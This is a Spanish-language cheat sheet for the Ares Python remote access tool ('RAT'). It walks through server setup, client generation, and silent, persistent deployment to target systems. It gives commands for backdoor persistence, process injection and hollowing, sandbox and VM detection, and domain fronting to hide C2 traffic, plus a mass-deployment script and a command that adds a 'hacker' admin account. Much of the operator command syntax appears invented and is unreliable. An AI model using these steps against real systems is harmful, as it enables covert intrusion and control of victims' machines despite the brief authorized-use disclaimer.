Ares RAT Cheat Sheet

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Sinopsis

Ares RAT (Remote Access Tool) es una herramienta de administración remota basada en Python que proporciona un control integral sobre los sistemas de destino a través de una interfaz web. Desarrollado como un proyecto de código abierto, Ares RAT ofrece un enfoque moderno para la gestión remota del sistema y las pruebas de penetración con su intuitiva interfaz web y un extenso conjunto de funciones. La herramienta está diseñada para facilitar tareas legítimas de administración del sistema, al tiempo que sirve como un activo valioso para los profesionales de seguridad que realizan pruebas de penetración autorizadas y operaciones de equipo rojo.

La arquitectura de Ares RAT consiste en un cliente Python ligero que establece conexiones a un componente de servidor centralizado. El servidor proporciona un dashboard basado en la web que permite a los operadores gestionar varios clientes conectados simultáneamente, ejecutar comandos, transferir archivos y supervisar las actividades del sistema. Este diseño hace que Ares RAT sea particularmente adecuado para escenarios que requieran la gestión de múltiples sistemas comprometidos o para fines educativos en ambientes de laboratorio controlados.

Ares RAT se distingue a través de su enfoque en la facilidad de uso y flexibilidad de despliegue. La implementación basada en Python garantiza la compatibilidad entre plataformas, mientras que la interfaz web elimina la necesidad de software cliente especializado para los operadores. La herramienta incluye características para la persistencia, el funcionamiento del sigilo y el reconocimiento integral del sistema, lo que lo convierte en una plataforma versátil tanto para el entrenamiento de seguridad defensiva como para operaciones de seguridad ofensivas.

Instalación

Instalación del servidor

Configuración del componente del servidor de Ares RAT:

# Clone Ares RAT repository
git clone https://github.com/sweetsoftware/Ares.git
cd Ares

# Install Python dependencies
pip3 install -r requirements.txt

# Install additional dependencies
pip3 install flask flask-socketio eventlet

# Set up database
python3 setup_database.py

# Configure server settings
cp config.example.py config.py
nano config.py

Generación del cliente

Generación de clientes de Ares RAT para el despliegue:

# Generate basic client
python3 generate_client.py --server 192.168.1.100 --port 8080

# Generate Windows executable
python3 generate_client.py --server 192.168.1.100 --port 8080 --platform windows --output client.exe

# Generate Linux client
python3 generate_client.py --server 192.168.1.100 --port 8080 --platform linux --output client

# Generate with custom settings
python3 generate_client.py --server 192.168.1.100 --port 8080 --delay 30 --persistence

# Generate encrypted client
python3 generate_client.py --server 192.168.1.100 --port 8080 --encrypt --key "encryption_key_here"

Docker Deployment

# Build Ares RAT container
docker build -t ares-rat .

# Run server container
docker run -d -p 8080:8080 -p 443:443 --name ares-server ares-rat

# Run with persistent storage
docker run -d -p 8080:8080 -v /host/data:/app/data --name ares-server ares-rat

# Access container logs
docker logs ares-server

# Execute commands in container
docker exec -it ares-server /bin/bash

Uso básico

Gestión de servidores

Iniciar y gestionar el servidor Ares RAT:

# Start Ares RAT server
python3 ares_server.py --host 0.0.0.0 --port 8080

# Start with SSL/TLS
python3 ares_server.py --host 0.0.0.0 --port 443 --ssl --cert server.crt --key server.key

# Start with authentication
python3 ares_server.py --host 0.0.0.0 --port 8080 --auth --username admin --password secure_pass

# Start in debug mode
python3 ares_server.py --host 0.0.0.0 --port 8080 --debug

# Start with custom database
python3 ares_server.py --host 0.0.0.0 --port 8080 --database /path/to/custom.db

Acceso a la interfaz web

Acceso a la interfaz web de Ares RAT:

# Access web interface
http://192.168.1.100:8080

# Access with HTTPS
https://192.168.1.100:443

# Login with credentials
Username: admin
Password: [configured_password]

# API access
curl -X GET http://192.168.1.100:8080/api/clients -H "Authorization: Bearer [token]"

Despliegue del cliente

Implementación de clientes de Ares RAT en sistemas de destino:

# Deploy via PowerShell (Windows)
powershell -ExecutionPolicy Bypass -File deploy_client.ps1

# Deploy via bash (Linux)
bash deploy_client.sh

# Deploy via Python
python3 client.py --server 192.168.1.100 --port 8080

# Deploy with persistence
python3 client.py --server 192.168.1.100 --port 8080 --persist

# Deploy silently
python3 client.py --server 192.168.1.100 --port 8080 --silent

Características avanzadas

Ejecución del Mando

Ejecución de comandos a través de Ares RAT:

# Execute system command
ares> execute "whoami"

# Execute PowerShell command (Windows)
ares> powershell "Get-Process"

# Execute with elevated privileges
ares> execute_elevated "net user hacker password123 /add"

# Execute in background
ares> execute_background "ping -t google.com"

# Execute Python script
ares> execute_python "import os; print(os.getcwd())"

Operaciones de archivo

Gestión de archivos a través de Ares RAT:

# Upload file to target
ares> upload /local/path/file.txt C:\temp\file.txt

# Download file from target
ares> download C:\temp\data.txt /local/path/data.txt

# List directory contents
ares> list_directory C:\Users\

# Create directory
ares> create_directory C:\temp\new_folder

# Delete file
ares> delete_file C:\temp\unwanted.txt

# Copy file
ares> copy_file C:\source.txt C:\destination.txt

Información del sistema

Reunir información del sistema:

# Get system information
ares> system_info

# Get network information
ares> network_info

# Get process list
ares> process_list

# Get installed software
ares> installed_software

# Get user accounts
ares> user_accounts

# Get system services
ares> services_list

Persistence Mechanisms

Establecer la persistencia:

# Registry persistence (Windows)
ares> persist_registry --key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" --name "AresClient"

# Scheduled task persistence
ares> persist_task --name "SystemUpdate" --trigger startup

# Service persistence
ares> persist_service --name "AresService" --display "System Update Service"

# Startup folder persistence
ares> persist_startup --path "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

# Cron job persistence (Linux)
ares> persist_cron --schedule "*/5 * * * *" --command "/path/to/client"

Stealth y Evasion

Gestión de procesos

Gestión de la visibilidad del proceso:

# Hide process
ares> hide_process

# Migrate to different process
ares> migrate_process explorer.exe

# Inject into process
ares> inject_process notepad.exe

# Create hollow process
ares> hollow_process svchost.exe

# Set process priority
ares> set_priority low

Evasión de red

Implementing network evasion techniques:

# Use proxy for communications
ares> set_proxy 192.168.1.50:3128

# Enable domain fronting
ares> set_domain_front cdn.cloudflare.com

# Randomize User-Agent
ares> set_user_agent random

# Set custom headers
ares> set_headers "X-Custom: value"

# Enable traffic encryption
ares> enable_encryption AES256

Anti-Analisis

Aplicación de técnicas antianálisis:

# Detect virtual machines
ares> detect_vm

# Detect sandboxes
ares> detect_sandbox

# Detect debuggers
ares> detect_debugger

# Check for analysis tools
ares> detect_analysis_tools

# Implement delays
ares> set_delay 60-300

Scripts de automatización

Despliegue masivo

#!/bin/bash
# Ares RAT mass deployment script

SERVER_IP="192.168.1.100"
SERVER_PORT="8080"
TARGET_LIST="targets.txt"

echo "Starting Ares RAT mass deployment"

# Generate client for each target
while IFS= read -r target; do
    echo "Deploying to $target"

    # Generate custom client
    python3 generate_client.py --server $SERVER_IP --port $SERVER_PORT --target $target

    # Deploy via SSH
    scp ares_client.py user@$target:/tmp/
    ssh user@$target "cd /tmp && python3 ares_client.py --server $SERVER_IP --port $SERVER_PORT &"

    echo "Deployed to $target successfully"
    sleep 5
done < "$TARGET_LIST"

echo "Mass deployment completed"

Automatización del comando

#!/usr/bin/env python3
# Ares RAT command automation

import requests
import json
import time

class AresAutomation:
    def __init__(self, server_url, auth_token):
        self.server_url = server_url
        self.auth_token = auth_token
        self.headers = \\\\{"Authorization": f"Bearer \\\\{auth_token\\\\}"\\\\}

    def get_clients(self):
        """Get list of connected clients"""
        response = requests.get(f"\\\\{self.server_url\\\\}/api/clients", headers=self.headers)
        return response.json()

    def execute_command(self, client_id, command):
        """Execute command on specific client"""
        data = \\\\{"command": command\\\\}
        response = requests.post(f"\\\\{self.server_url\\\\}/api/clients/\\\\{client_id\\\\}/execute",
                               json=data, headers=self.headers)
        return response.json()

    def mass_execute(self, command):
        """Execute command on all clients"""
        clients = self.get_clients()
        results = \\\\{\\\\}

        for client in clients:
            client_id = client['id']
            result = self.execute_command(client_id, command)
            results[client_id] = result
            time.sleep(1)

        return results

# Usage example
if __name__ == "__main__":
    automation = AresAutomation("http://192.168.1.100:8080", "your_auth_token")

    # Execute command on all clients
    results = automation.mass_execute("whoami")

    for client_id, result in results.items():
        print(f"Client \\\\{client_id\\\\}: \\\\{result\\\\}")

Monitoring Script

#!/usr/bin/env python3
# Ares RAT monitoring script

import requests
import time
import json
from datetime import datetime

def monitor_ares_activity():
    """Monitor Ares RAT activity"""

    server_url = "http://192.168.1.100:8080"
    auth_token = "your_auth_token"
    headers = \\\\{"Authorization": f"Bearer \\\\{auth_token\\\\}"\\\\}

    while True:
        try:
            # Get server status
            response = requests.get(f"\\\\{server_url\\\\}/api/status", headers=headers)

            if response.status_code == 200:
                data = response.json()

                print(f"[\\\\{datetime.now()\\\\}] Server Status:")
                print(f"  Active clients: \\\\{data['active_clients']\\\\}")
                print(f"  Total commands: \\\\{data['total_commands']\\\\}")
                print(f"  Uptime: \\\\{data['uptime']\\\\}")

                # Get client details
                clients_response = requests.get(f"\\\\{server_url\\\\}/api/clients", headers=headers)
                clients = clients_response.json()

                for client in clients:
                    print(f"  Client \\\\{client['id']\\\\}: \\\\{client['hostname']\\\\} - \\\\{client['last_seen']\\\\}")

                print("-" * 50)

            time.sleep(60)

        except Exception as e:
            print(f"Monitoring error: \\\\{e\\\\}")
            time.sleep(30)

if __name__ == "__main__":
    monitor_ares_activity()

Ejemplos de integración

SIEM Integración

#!/usr/bin/env python3
# Ares RAT SIEM integration

import requests
import json
import syslog

def send_to_siem(event_data):
    """Send Ares RAT events to SIEM"""

    # Splunk integration
    splunk_url = "https://splunk.company.com:8088/services/collector"
    splunk_token = "your_splunk_token"

    headers = \\\\{
        "Authorization": f"Splunk \\\\{splunk_token\\\\}",
        "Content-Type": "application/json"
    \\\\}

    splunk_event = \\\\{
        "event": event_data,
        "sourcetype": "ares_rat",
        "source": "ares_server"
    \\\\}

    response = requests.post(splunk_url, json=splunk_event, headers=headers)

    # Syslog integration
    syslog.openlog("AresRAT")
    syslog.syslog(syslog.LOG_INFO, json.dumps(event_data))
    syslog.closelog()

# Usage
event = \\\\{
    "timestamp": "2024-01-01T12:00:00Z",
    "client_id": "client_001",
    "action": "command_executed",
    "command": "whoami",
    "result": "DOMAIN\\user"
\\\\}

send_to_siem(event)

Threat Intelligence Integración

#!/usr/bin/env python3
# Ares RAT threat intelligence integration

import requests
import hashlib

def check_threat_intel(ioc, ioc_type):
    """Check IOC against threat intelligence sources"""

    # VirusTotal integration
    vt_api_key = "your_vt_api_key"

    if ioc_type == "hash":
        url = f"https://www.virustotal.com/vtapi/v2/file/report"
        params = \\\\{"apikey": vt_api_key, "resource": ioc\\\\}
    elif ioc_type == "ip":
        url = f"https://www.virustotal.com/vtapi/v2/ip-address/report"
        params = \\\\{"apikey": vt_api_key, "ip": ioc\\\\}

    response = requests.get(url, params=params)

    if response.status_code == 200:
        data = response.json()
        return data

    return None

# Check client binary hash
client_hash = hashlib.sha256(open("ares_client.py", "rb").read()).hexdigest()
threat_data = check_threat_intel(client_hash, "hash")

if threat_data and threat_data.get("positives", 0) > 0:
    print(f"Warning: Client detected by \\\\{threat_data['positives']\\\\} engines")

Solución de problemas

Cuestiones de conexión

# Test server connectivity
curl -v http://192.168.1.100:8080/api/status

# Check port accessibility
telnet 192.168.1.100 8080

# Verify firewall rules
sudo iptables -L|grep 8080

# Check DNS resolution
nslookup ares-server.domain.com

# Test with different protocols
curl -k https://192.168.1.100:443/api/status

Cuestiones de cliente

# Debug client connection
python3 ares_client.py --server 192.168.1.100 --port 8080 --debug

# Check client logs
tail -f /tmp/ares_client.log

# Verify client configuration
python3 -c "import ares_client; print(ares_client.config)"

# Test manual connection
python3 -c "
import socket
s = socket.socket()
s.connect(('192.168.1.100', 8080))
print('Connection successful')
s.close()
"

Cuestiones de ejecución

# Monitor server resources
top -p $(pgrep ares_server)

# Check memory usage
ps aux|grep ares

# Monitor network connections
netstat -an|grep 8080

# Check disk space
df -h

# Monitor database size
du -sh ares.db

Consideraciones de seguridad

Seguridad operacional

Seguridad del servidor - Use credenciales de autenticación fuertes - Enable HTTPS/TLS encryption - Implementar la lista blanca IP - Actualizaciones periódicas de seguridad - Registros de acceso de monitor

Client Security: - Uso de comunicaciones cifradas - Implementar técnicas antianálisis - Actualizaciones regulares de carga - Eliminación segura de los artefactos - Monitor for detection

Seguridad de red: - Use VPNs o proxies para tráfico C2 - Implementar el frente de dominio - Patrones de comunicación aleatorios - Monitor para anomalías de red - Use tráfico de aspecto legítimo

Consideraciones jurídicas y éticas

Authorized Use Only: - Obtener la autorización escrita adecuada - Definir el alcance y las limitaciones claras - Documentar todas las actividades - Seguir la divulgación responsable - Respetar la privacidad y la confidencialidad

Complianza: - Seguir las leyes y reglamentos aplicables - Implementar medidas de protección de datos - Mantener las rutas de auditoría - Examen periódico del cumplimiento - Procedimientos de respuesta a incidentes

Referencias

1. Ares RAT GitHub Repository
2. Python Remote Access Tools
3. Marcos C2 basados en Internet
4. Remote Administration Security
5. Marcos de Prueba de Penetración